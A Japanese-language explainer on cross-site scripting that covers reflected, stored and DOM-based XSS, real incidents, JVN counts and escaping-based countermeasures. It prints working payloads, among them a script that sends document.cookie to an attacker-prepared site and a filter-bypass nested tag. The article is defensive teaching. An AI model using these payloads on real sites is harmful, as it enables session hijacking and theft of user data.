概要

クロスサイトスクリプティング【Cross-Site Scripting】(以下、XSS)とは、ユーザ入力に対して動的にページ生成するアプリ(Webページ)において、外部から悪意のあるスクリプトを挿入されてしまう脆弱性です。HTMLの文法上特別な意味を持つ特殊記号(メタ文字)が正しく扱われていないことに起因します。基本的にサーバには影響がなく、利用者のブラウザ上で任意のスクリプトが実行されるのが特徴です。
XSSにより攻撃者は、Webサイトの改ざん、セッションの乗っ取り、情報窃取、悪意のあるサイトへのリダイレクトなどを行うことが可能です。

IPA(情報処理推進機構):ソフトウェア等の脆弱性関連情報に関する届出状況[2022年第1四半期(1月~3月)]の2-2-3.脆弱性の種類・影響別届出件数のグラフを見ると、そのほとんどをXSSが占めていることから、XSSはエンジニアが作りこみやすい脆弱性であることがわかります。

※クロスサイトスクリプティング【Cross-Site Scripting】はそのまま頭文字を取ると「CSS」ですが、「Cascading Style Sheets」と重複するため、「CSS」ではなく「XSS」と略記されることが一般的です。 

スクリプトとは?

スクリプトとは、スクリプト言語のことを指しており比較的容易に習得、記述および実行が可能な言語を指します。
本記事においては、単に「スクリプト」という場合には、JavaScriptのことを指しています。
JavaScriptは、主に画面にポップアップを表示させたり、外部と通信を行うなどWebサイトのUIに動きをつける用途で使用されます。

img01

クロスサイトスクリプティングの仕組み

XSSには、反射型XSS(Reflected XSS)・格納型XSS(Stored XSS)・DOM Based XSS の3種類が存在します。
それぞれスクリプトが実行される状況、攻撃方法が異なります。
< > & " ' の特殊記号はプログラムで特別な意味や役割を果たします。この特殊記号が安全な文字等へのエスケープがされていないことにより、ブラウザ上でスクリプトの構文として解釈されてしまい、XSSの脆弱性に繋がります。

これから3種類のXSSについて例を用いて解説します。

反射型XSS(Reflected XSS)

ユーザからのリクエストに含まれるスクリプトをそのままレスポンスに出力してしまうXSSです。スクリプトはリクエストの送信者(ユーザ)に返ることから反射型XSSと呼ばれています。

img02

攻撃例

画像のページはユーザが入力した文字列を次のページに表示します。
result.phpは入力フォームの存在するindex.html からGETでパラメータを受け取り、そのパラメータを表示します。


[入力フォームindex.html]img03

[入力値を表示result.php]img04

<?php
   $value = $_GET['value'];
   echo $value;
?>

このページの入力フォームに、Cookieの値をポップアップで表示するスクリプトを入力して実行します。Cookieには多くの場合セッションIDが含まれています。

<script>alert(document.cookie)</script>

img05

すると入力値を表示するページでセッションIDがポップアップで表示されました。img06

次に、結果を表示するページresult.phpのURLに直接スクリプトを入力します。

http://vulnserver/xss/reflected_xss/result.php?value=test
value=testvalue=<script>alert(document.cookie)</script>に書き換えてみます。 <script>alert(document.cookie)</script>のままでもスクリプトは実行されますが、URLエンコードしておきます。
URLエンコードとは、URL・URIで使用できない記号や文字を %xxの形に変換することです。使用できない記号や文字の文字コード(16進数)の前方に「%」をつけて置き換えます。
http://vulnserver/xss/reflected_xss/result.php?value=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E

このURLをクリックすると、入力フォームにスクリプトを入れて実行ボタンを押した時と同様にスクリプトが実行され、先ほどと同じくセッションIDがポップアップで表示されます。
上記のスクリプトは、そのページにアクセスしたユーザのセッションIDをポップアップで表示するだけですが、セッションIDを攻撃者にメールで転送したり、悪意のあるサイトにリダイレクトしたりするスクリプトを埋め込むことも可能です。

このように、入力した値を適切に処理しないままレスポンスに埋め込むことによって起こる脆弱性が反射型XSSです。 以下の図は反射型XSSを用いた攻撃成立までの一例です。

img07

URLに含むスクリプトを下記のものにすることによって、利用者のセッションIDが攻撃者のサーバに送信されます。

<script>location.href="http://攻撃者の用意したサイトのアドレス?"+document.cookie</script>

これは、セッションハイジャックに繋がる可能性があります。
セッションハイジャックについては「セッションハイジャック【Session Hijacking】とは|図でわかる脆弱性の仕組み」をご覧ください。

詳細はこちら

格納型XSS(Stored XSS)

ユーザが入力したスクリプトが含まれる文字列を、Webアプリケーション内部で永続的に保存し、そのスクリプトをレスポンスに出力してしまうXSSです。ユーザが該当ページを閲覧するたびに、保存されたスクリプトが実行されることから、「格納型XSS」と呼ばれています。また、「蓄積型XSS」「持続型XSS」「Persistent XSS」などと呼ばれることもあります。

img08

攻撃例

このページは、ユーザが入力したコメントを表示する掲示板の機能を持ちます。テキストに打ち消し線を引くためのタグを入力し、「一言コメントする!」をクリックします。

<s>test</s>
img09

すると、 testという文字列に打消し線が引かれ表示されました。これは、 <s>がHTMLのタグとして認識されたためです。

掲示板のコメントはデータとしてWebサーバに保存されるため、スクリプトをコメントとして入力すると、その後HTMLページが生成される際にページの一部として埋め込まれます。

コメントの入力フォームにスクリプトを入力します。

<script>alert(document.cookie)</script>

このスクリプトはCookieの値をポップアップで表示します。Cookieには多くの場合セッションIDが含まれています。

img10セッションIDがポップアップで表示されたことにより、JavaScriptが実行可能なことがわかりました。
このスクリプトは掲示板のコメントとしてWebサーバに保存されます。
そのため、掲示板にアクセスするたびに保存されたコメントがスクリプトとして認識され、ブラウザ上でスクリプトが実行されます。

img11

スクリプトが埋め込まれたWebページに別のユーザがアクセスすると、そのユーザのセッションIDがポップアップで表示されます。

img12

上記のスクリプトは、そのページにアクセスしたユーザのセッションIDをポップアップで表示するだけですが、セッションIDを攻撃者にメールで転送したり、悪意のあるサイトにリダイレクトしたりするスクリプトを埋め込むことも可能です。
また、埋め込まれたスクリプトはページ上に表示されないため、被害者やサイト運営者が視覚だけで気付くことは困難です。

img13

ブラウザからは開発者ツール(F12を押すことで使用できます)でスクリプトが埋め込まれていることが確認できます。

img14

以下の図は格納型XSSを用いた攻撃成立までの一例です。

img15DOM Based XSS

DOM Based XSSは、サイト利⽤者のブラウザ上で、JavaScriptがDOMを介してHTMLを操作する際に、意図しないスクリプトを出⼒してしまうXSSです。
DOM Based XSSについては「DOM Based XSSとは|図でわかる脆弱性の仕組み」をご覧ください。

詳細はこちら

被害例

・EC-CUBE 4.0系における緊急度「高」の脆弱性

https://jvn.jp/jp/JVN97554111/
XSS脆弱性の悪用によるクレジットカード情報の流出が発生しました。

・YouTube(2010/7/4)

YouTubeを開くと、デマがポップアップで表示される、他サイトへリダイレクトされる、コメントが表示されないなどの被害が発生しました。
コメントシステムの入力値に対するエスケープが行われていなかったことが原因でした。

・Twitter(2010/9/21)

twitter.comがXSS脆弱性により、URLをユーザがクリックすることで強制的にツイートが行われた事件です。
YouTubeと同じくユーザの入力値に対してエスケープが行われていなかったことが原因でした。
ユーザが該当のURLにマウスカーソルを乗せるだけでスクリプトが読み込まれ、実行されるようになっていたため被害が拡大しました。

JVN iPediaに登録された本脆弱性の件数

直近10年間でクロスサイトスクリプティングに関する脆弱性(CWE-79)が存在する可能性があるとして報告され、JVNに登録された件数です。

年代 件数
2012 52件
2013 99件
2014 97件
2015 288件
2016 721件
2017 1344件
2018 2036件
2019 1897件
2020 1865件
2021 1007件

 

JVN_graph

※上記の表はMyJVN APIを利用してCWE識別子を基に統計した件数です。
JVNDBRSS - JVN iPediaにて公開している脆弱性対策情報の概要

対策方法

各対策はすべて対応する必要があります。

Webページに出力するすべての要素に対して、エスケープ処理を行う

HTMLの文法上特別な意味を持つ特殊記号(メタ文字)をエスケープ処理することで悪意のあるスクリプトを無効化します。

例)

< → &lt;
> → &gt;
& → &amp;
" → &quot;
' → &apos;
<script>alert(document.cookie)</script>
↓例で使用したJavaScriptをエスケープ処理
&lt;script&gt;alert(document.cookie)&lt;/script&gt;

エスケープ処理を実装したことにより、特殊記号も通常の文字と同じくコメントとして表示されるようになりました。

img16

img17
URLを出力するときは、「http://」か「https://」で始まるURLのみを許可する

URLを外部からの入力に依存する形で動的に生成する場合、そのURLにスクリプトが含まれているとXSSが可能になる場合があります。
例えば、以下のようにユーザが入力したURLが a タグに出力される場合を想定します。

<a href="{ユーザの入力したURL}">リンク</a>

この場合、javascript:alert('xss') という入力値を与えることで以下のHTMLが生成され、ユーザがこのリンクをクリックするとスクリプトが実行されてしまいます。

<a href="javascript:alert('xss')">リンク</a>

そのため、リンク先のURLは「http://」か「https://」で始まる文字列のみ許可するようにしてください。

JavaScriptとして実行される箇所にはユーザ入力値を出力しない

<script>タグや各タグのイベントハンドラ(onclickonerrorなどの属性値)といったJavaScriptとして実行される箇所にはユーザ入力値を出力しないようにします。これらのJavaScriptとして実行される箇所では、ユーザ入力値を出力する際にHTMLの文法上特別な意味を持つ特殊記号をエスケープしたとしても、JavaScriptの実行を完全に防ぐことはできません。
例えば以下のようにonclick属性にユーザ入力値が出力される場合を想定します。

<input onclick= "{ユーザの入力した値}"/>

この場合、alert(document.cookie)という入力値を与えることで以下のHTMLが生成され、ユーザがこの入力欄をクリックするとスクリプトが実行されてしまいます。

<input onclick="alert(document.cookie)"/>

そのためJavaScriptとして実行される箇所にはユーザ入力値を出力しないようにしてください。

よくある誤った対策方法

ユーザ入力値からscriptタグを削除するに対策を行っている場合、削除の方法によっては対策として不十分です。例えば </?script[^>]*>という正規表現を使ってタグを削除している場合、

<scri<script>pt>alert(document.cookie)</sc<script>ript>

というような入力値を与えることで上記の下線部が削除され、結果として以下のような出力が行われスクリプトが実行されてしまいます。

<script>alert(document.cookie)</script>

まとめ

クロスサイトスクリプティングの脆弱性が存在していると、外部から悪意のあるスクリプトを挿入する攻撃が可能になります。攻撃が成功すると、攻撃者はWebサイトの改ざん、セッションの乗っ取り、情報窃取、悪意のあるサイトへリダイレクトなどを行う事が可能です。
こういった被害を防ぐには、サイト設計の見直しや脆弱性診断などを行い、安全な状態になっていることを確認することをお勧めします。